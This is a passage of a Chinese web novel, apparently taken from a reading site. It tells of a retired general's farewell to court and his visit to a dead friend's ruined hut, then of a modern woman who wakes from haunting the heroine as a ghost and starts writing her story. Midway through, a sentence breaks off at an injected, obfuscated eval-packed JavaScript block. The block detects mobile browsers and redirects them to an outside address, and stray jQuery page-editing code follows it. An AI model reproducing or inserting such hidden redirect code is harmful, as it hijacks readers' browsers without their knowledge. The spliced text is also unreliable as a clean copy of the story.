窗外市井的热闹叫卖隐约可闻。京城经历一次劫难,新登基的皇帝着眼于民生,上任后颁布的政令几乎全是恢复黎民百姓生计,而后才轮到朝廷的各项改革。
他手段比他老子南渐鸿温和不少,也可能是因为生长在帝王家里,耳濡目染了许多帝王之术,年纪不大,但应对起这些事情已经得心应手,登基不久就将朝廷安稳下来。总之是比南渐鸿做得要好不少。
南渐鸿退位让贤之后无事一身轻,偶尔会请孔青雄进宫一聚,后来嫌麻烦,索性隐姓埋名搬到孔府附近。
孔青雄默默擦了一把汗,将周围的守卫人马加了一倍。
书房内墨香淡淡,托南渐鸿的福,孔青雄这大老粗的书房如今也多了不少文人雅士的东西,什么熏香啊古琴啊,全是那位实在闲得没事干的太上皇送来的。
说起来,孔青雄刚认识南渐鸿的时候,对方可没那么多闲情雅致搞这些。如今这么多年富贵生活过下来,将个草莽野夫也浸润成了如今的样子。
可惜南渐鸿退休了,他孔青雄还得接着干。
现如今刚批阅完边关送来的军报,闭了闭老花眼揉了揉眉心,从木案上拿起一封从西北送来的家书,信封上张牙舞爪四个大字:老头亲启。
不用说,一看这字迹和口吻,孔青雄就已经知道是谁执笔。拆开信一目十行,他忍不住拍案而起哈哈大笑,喜气洋洋出门直奔隔壁府邸,要去找南渐鸿那个老东西炫耀。
孔英在信中说,大嫂舒月蓉诊出了喜脉,自己就要当姑姑了。虽然口吻放荡不羁,却也能从字里行间看出轻快的喜悦。
“大嫂害喜爱吃酸杏脯,你从京城过来时记得从蒋记带些来,那里的最好吃。”孔英还不忘给蒋芸打个广告。
南渐鸿一听孔青雄抢先自己一步做了爷爷,面上装作气恼却眼里含笑。接着就见孔青雄一把将家书拍在案上,说自己要卸甲归田,去西北抱儿孙享福去。
行动力十足。次日五更,孔青雄穿戴朝服入宫。
新帝南嘉德坐在太和殿上,年轻的面庞露出几分威仪。孔青雄伏身行礼,脊背挺得笔直:“老臣年事已高,恳请陛下准臣卸甲归田,辞去护国公之职,归隐乡间,安享天伦。”
这个消息早经由南渐鸿给新帝通过气,毕竟护国公一职算是最高武将。要是皇帝直到了早朝才知道他想卸甲归田,到时候怕是又有不少麻烦事。
有过父亲暗示,新帝自然不会为难孔青雄:“准奏,护国公为国尽忠多年,今当享清福……替朕给护国公的家眷带声好。”
如此这般,这位传奇半载、临退休前还联手先帝平息前朝遗民叛乱的护国公的风云人生,终于落下帷幕。
风吹过庭院,树叶轻轻摇曳,那朱红宫墙越来越远,被落在马车后。
要说是几年前,兴许孔青雄还看不上马车,定是要自己甩着马鞭夹着马腹,马蹄一路扬着尘沙往西去。不过现如今,他都是个要当爷爷的人了,行事不可谓不稳重。
马车沿着黄土道前行,出了繁华的京城,道路两侧的景象逐渐成了连绵的田野和村落。阳光透过云层洒下来,碎金子般透过稀疏的树影落在地上。
孔青雄掀起车帘往外探出头,问车夫:“前头是哪儿?”车夫答了某个郡县名,听着很陌生。
但孔青雄却无端觉得眼前一片郁郁葱葱的竹林十分眼熟,喊车夫停下歇会儿,自己下车孤身走入那竹林中去。
他想起来了。这片竹林他在燕寒松的家里见过,就挂在那门厅墙上。
孔青雄一时无言,拨开丛生的杂草继续往里。
燕寒松生前是国师,权势滔天,搅动朝堂风云。不过谁能想到那般貌似与世无争的人心里裹挟着如此深重的仇恨与夙愿呢?孔青雄本以为自己与燕寒松是知己好友,却不曾想到头来,他压根没看透过对方。
不知往里进了多深,竹林里显现出一间草庐,如今多年无人搭理,早已破败不堪。屋顶塌陷,墙壁斑驳,野草从裂缝中钻出蔓延到门前,一片荒凉景象。
草庐前的空地上散落了一地石块。孔青雄捡起一块来看,依稀可见工匠雕琢时的精细。如今石像却被砸得粉碎,裂痕纵横,面目全非,青苔丛生。
草庐前的田野已经荒废许久了。
有人在世图的不多,就是个生前生后名。生前做好事是为脸面,不至于死后遭人唾骂被人掘坟。
孔青雄早年与燕寒松坐而论道时,想自身虽也做过糊涂事,但凭着个护国公的头衔,肯定能挣个风光大葬。燕寒松对此话不反驳,反倒是说后世人如何评价今生肯定是不知道了。
人只有两只眼睛,看事情难免片面。可当断不断反受其害,有时候只能一条道走到黑。最痛苦的人就是优柔寡断的人,想要这个顾虑那个,好坏都不够彻底。
燕寒松就坦荡许多。
他想清楚了自己要为文帝肝脑涂地,文帝死后传承就到了其独子赵衡身上。这种已经快要成为罣碍的执念成了燕寒松的一生追求,为此可以抛头颅洒热血。
换位思考下,孔青雄愿意为南渐鸿做到这种地步吗?那肯定是不会的。武将的脑袋不如文官活络,但就是这点好,直来直去洒脱豁达。
要是有朝一日南朝真到了危急关头,孔青雄肯定会在前线战场上战斗到最后一刻,而不会像燕寒松一样卧薪尝胆数余年。
要不然怎么说他从来没看透过这位老友呢。
成也萧何败也萧何。燕寒松算计了那么多年,却不愿意相信人间有真情人间有真爱。
他没把赵衡对孔英的心思算进去,成了一错;没料到南渐鸿是真相信孔青雄不会谋反,成了二错。人非草木孰能无情,燕寒松总下意识低估情的作用,而连他自己的命运都是被赵文帝的知遇之恩情推着走。
车夫正在树荫下乘凉,眼见孔青雄又从竹林里走出来,忙站起来,见对方头上插了竹叶也不好提醒,当作没看见又驾着马车继续赶路。
而孔青雄坐进车里一低头,眼前悠悠然飘下一枚青翠欲滴的叶子。他擒住捏在手里,良久后又从掀开车帘放出去,见那片叶子飘飘然随风而去了。
-
“嚯!”
梁天赐一个鲤鱼打挺起身,脑袋磕到了床头,疼得她龇牙咧嘴,抱着后脑勺在床上打滚。
不对!
她猛然愣住,身体快过意识拉亮了床头柜上的夜灯,呆呆看了一圈周围熟悉又陌生的环境。电风扇、塑料衣柜、白瓷砖还有装满了饮料零食的小冰箱……
她,她回来了!从吃人不眨眼的封建社会回来了信息文明正如火如荼发展的现代社会!
要怎么形容这种感觉呢,就像是易拉罐拉环断了,你再一眨眼,发现眼前的不是易拉罐,而是自带习吸管的盒装饮料。像做梦一样,不知道是自己真的穿越了还是精神错乱之下的幻觉。
不过好在,梁天赐现在可以将吸管插进盒子里,美美享用现代社会带来的便利了。
在小口小口细品柠檬红茶的时候,她的思绪又不自觉飘回自己梦中的所见。
梁天赐在梦里的角色叫作小蝶,因失手摔碎皇帝送给德妃的芙蓉玉簪,被砍了双臂活活血流而亡。一想起这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288482|198482||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个,她就忍不住打了个寒颤。
那梦也忒真实了。
也不知是怎么回事,梁天赐死后却没有被拉入阴曹地府,而是以类似一缕孤魂的形式继续存活在人世间。
天大地大任她来去自如,只是不能出京城。
作为一缕不散的阴魂,梁天赐可谓是见多识广,将这个社会下人的阴暗面看了个爽。她是个乐天派,不知道自己最终的归宿是会折在哪个道士或和尚手里,就及时行乐,仗着自己是个阿飘,专门往不可去处去。这么一看,差点把她眼睛看瞎。果然,非礼勿视非礼勿视。
后来见怪不怪,梁天赐开始觉得这个世界无趣。常年无处可说的孤寂快要将她淹没了。
也就是在这时候,她发现京城新来了个小姑娘,名字叫作孔英。
孔英对她有一股莫名其妙的吸引力。梁天赐甚至发现,只要跟着孔英,她甚至能出京城!
稀了奇了怪了。梁天赐最开始猜测孔英是个跟她一样的穿越者,可观察来观察去,失望地承认对方就是个本地土著。但她对孔英的好奇一直没有消退,时不时就来护国公府看一眼。
和孔英想出的时间越长,梁天赐琢磨出了不对劲。她惊恐地发现自己的力量居然在减退!不过也就惊恐了一瞬间吧,毕竟她早该死了。
且不知道是不是她的缘故,孔英逐渐展示出超出常人的力气,简称力大无穷。
梁天赐有种难以言说的复杂情绪,一方面对这个孩子有种亲切感,遗憾自己似乎看不到对方以后的样子,另一方面又释怀于自己当了这么多年阿飘,终于可以转世投胎去了吗?
后来她越来越虚弱,甚至难以脱离孔英自主行动。
梁天赐跟着孔英行走江湖,一边充当着阿飘形吐槽机:
“不是吧不是吧,这么个男的你都能认成女的?”
“哇塞,这轻功也太厉害了。不过比起阿飘还是略逊一筹。”
“美女姐姐杀我!”
“咦,这人怎么有点眼熟?”
“啊呸一群阴险刺客只会耍阴招,呜呜呜孔英你不要死啊……”
“这臭小子刚才是不是亲孔英了?ohno!吾家有女初长成,却有野猪拱白菜。”
“啧啧啧,小情侣真甜。”
“……我收回我的话。”
不知道是不是回光返照,梁天赐在这趟旅途中居然回忆起来些自己的现代生活。不用吃饭不用睡觉的生活已经叫她有些错乱了,恍惚间会觉得一切都是自己的想象,就像人们梦见天庭里的神仙。
只有待在孔英身边,待在梁天赐在这个时代的锚点身边,她才能感受到真实与虚幻的界限。
她是什么时候彻底消逝的呢?梁天赐存活的时间比自己预期得久,她如愿见到了孔英年老的样子,看她在西北这么些年起起伏伏,立下许多功劳,死后被追封英武侯。
真是……
太厉害了!
梁天赐又想鲤鱼打挺一跃而起,顾忌着还在疼的脑袋,老老实实从床上下去,打开台式机。许久不当人,但这具身体的记忆还停留在昨天入睡前的正常生活,因而操作这些个现代机器也十分熟练。
梁天赐决定把孔英的故事写出来。
取什么名字好呢,要不叫《孔英有力》?
不行不行,这什么破名字。
有了!就叫……
《天生神力的女主角为反抗封建家长包办婚姻出走江湖当老大收小弟和前朝太子有了一段狗血到天上的爱恨情仇且女扮男装参军入伍最后成为叱咤西北英武侯的传奇人生》吧!